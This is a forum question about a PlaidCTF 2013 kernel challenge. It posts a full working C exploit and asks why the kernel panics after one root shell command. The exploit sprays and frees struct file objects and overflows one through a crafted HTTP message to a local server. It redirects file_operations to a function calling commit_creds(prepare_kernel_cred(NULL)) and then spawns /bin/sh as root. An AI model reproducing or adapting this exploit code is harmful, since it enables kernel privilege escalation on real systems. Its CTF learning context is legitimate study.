1

While trying to solve old ctf task (https://blog.frizn.fr/plaidctf-2013/pwn-400-servr) I've encountered a situation which I don't understand.

TLTR

After escalating process privileges my exploit invokes system("/bin/sh"). The shell gets spawned, but after first command (which gets executed as root) kernel panics.

enter image description here

Long description

I abuse kernel heap overflow to overwrite allocated file struct's file_operations field with an address of fake struct file_operations. Fake struct file_operations is filled with address of escalate function. Then I call lseek on a file and the function escalate file_operations get invoked. If escalate function got called (meaning I've overwrote right struct file) I call pop_shell function:

void pop_shell() {
    printf("\t[+] Poping shell... have fun!\n");
    system("/bin/sh");
    printf("\t[ ] Had fun?\n");
    exit(0);
}

The shell get's spawned and I can even execute one command such as cat /root/flag. The result gets displayed and then kernel immediately panics. I would expect kernel to panic after I exit system("/bin/bash"), not after executing exactly one command. I would be super happy to hear a explanation for why it happens.

Full exploit:

/**
 * Compile with: gcc exploit.c -o exploit -O0 -std=c99 -Wall --static
 */

#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>
#include <sched.h>
#include <stddef.h>
#include <sys/mman.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <netinet/in.h>
#include <arpa/inet.h>

typedef int (*commit_creds_func_t)(void *new);
typedef void *(*prepare_kernel_cred_func_t)(void *daemon);

#define SERVER_PORT 80
#define HEAP_SPRAY_POWER 0x400
#define FILE_STRUCT_SLAB_SIZE 256
#define MSG_PREFIX "GET aaa HTTP/1.1\r\n"   \
                   "Content-Length:232\r\n" \
                   "\r\n"

#define COMMIT_CREDS ((void *)0xffffffff81063250)
#define PREPARE_KERNEL_CRED ((void *)0xffffffff81063510)

#define commit_creds(cred) \
    (((commit_creds_func_t)(COMMIT_CREDS))(cred))
#define prepare_kernel_cred(daemon) \
    (((prepare_kernel_cred_func_t)(PREPARE_KERNEL_CRED))(daemon))


int g_server_sock_fd;
int g_fds[HEAP_SPRAY_POWER];
uint64_t g_fake_fops[20];
uint64_t g_overflow_msg[37];
size_t g_overflow_msg_len;
int g_escalated;


void pop_shell() {
    printf("\t[+] Poping shell... have fun!\n");
    system("/bin/sh");
    printf("\t[ ] Had fun?\n");
    exit(0);
}

void escalate()
{
    commit_creds(prepare_kernel_cred(NULL));
    g_escalated = 1;
}

int send_overflow_msg()
{
    if (write(g_server_sock_fd, g_overflow_msg, g_overflow_msg_len) < 0)
    {
        perror("\t[!] Failed to send msg");
        return -1;
    }
    printf("\t[+] Send msg\n");

    return 0;
}

int init()
{
    struct sockaddr_in server_addr;

    g_server_sock_fd = socket(AF_INET, SOCK_STREAM, 0);
    if (g_server_sock_fd < 0)
    {
        perror("\t[!] Failed to create socket");
        return -1;
    }
    printf("\t[+] Created socket\n");

    bzero(&server_addr, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    server_addr.sin_port = htons(SERVER_PORT);
    if (connect(g_server_sock_fd, &server_addr, sizeof(server_addr)) != 0)
    {
        perror("\t[!] Failed to connect to server");
        return -1;
    }
    printf("\t[+] Connected to server\n");

    for (int i = 0; i < 20; ++i)
    {
        g_fake_fops[i] = (uint64_t)&escalate;
    }

    /* Fill g_overflow_msg structure with msg_prefix concatenated with addresses of g_fake_fops. */
    g_overflow_msg_len = strlen(MSG_PREFIX) + FILE_STRUCT_SLAB_SIZE;
    memcpy((void *)g_overflow_msg, MSG_PREFIX, strlen(MSG_PREFIX));
    /* This is possible as strlen(MSG_PREFIX) % 8 == 0. */
    for (int i = strlen(MSG_PREFIX) / sizeof(uint64_t); i < g_overflow_msg_len / sizeof(uint64_t); ++i)
    {
        g_overflow_msg[i] = (uint64_t)&g_fake_fops;
    }

    g_escalated = 0;

    printf("\t[i] Address of g_fake_fops: %p\n", g_fake_fops);
    printf("\t[i] Address of escalate function: %p\n", &escalate);
    printf("\t[i] Address of g_escalated: %p\n", &g_escalated);
    return 0;
}

void overflow_struct_file()
{
    char file_path[0x100];

    /* Make kernel allocate multiple struct file. */
    for (int i = 0; i < HEAP_SPRAY_POWER; ++i)
    {
        sprintf(file_path, "/tmp/file_%d", i);
        g_fds[i] = open(file_path, O_CREAT | O_RDWR, 0644);
    }
    /* Now make kernel free every second struct file, creating holes in slabs. */
    for (int i = 0; i < HEAP_SPRAY_POWER; i += 2)
    {
        if (g_fds[i])
        {
            close(g_fds[i]);
            g_fds[i] = 0;
        }
    }
    /* And quickly try to allocate msg so it lands in the hole and overflow one of the struct files. */
    send_overflow_msg();
}

int main()
{
    printf("*** Starting Exploit ***\n");

    printf("[ ] Initializing...\n");
    if (init() < 0)
    {
        printf("[-] Failed to initialize\n");
        return -1;
    }
    printf("[+] Succeeded to initialize\n");

    printf("[ ] Overflowing struct file...\n");
    overflow_struct_file();
    printf("[+] Finished overflow phase, can't be sure yet if we succeeded\n");

    /* Wait 3 seconds to know if we havn't overwriten some critical structure instead of struct file. */
    printf("Sleeping... (if kernel panic now, it means we overflowed not ours stuct)");
    fflush(stdout);
    for (int i = 0; i < 3; ++i)
    {
        sleep(1);
        printf(" %i", i);
        fflush(stdout);
    }
    printf("\n");

    printf("[ ] Triggering exploit...\n");
    for (int i = 0; i < HEAP_SPRAY_POWER && !g_escalated; ++i)
    {
        if (g_fds[i])
            lseek(g_fds[i], 0, SEEK_END);
    }

    if (g_escalated) {
        printf("[+] Exploit succeeded\n");
        pop_shell();
    }
    printf("[-] Exploit failed\n");

    return 0;
}

0

You must log in to answer this question.

Browse other questions tagged .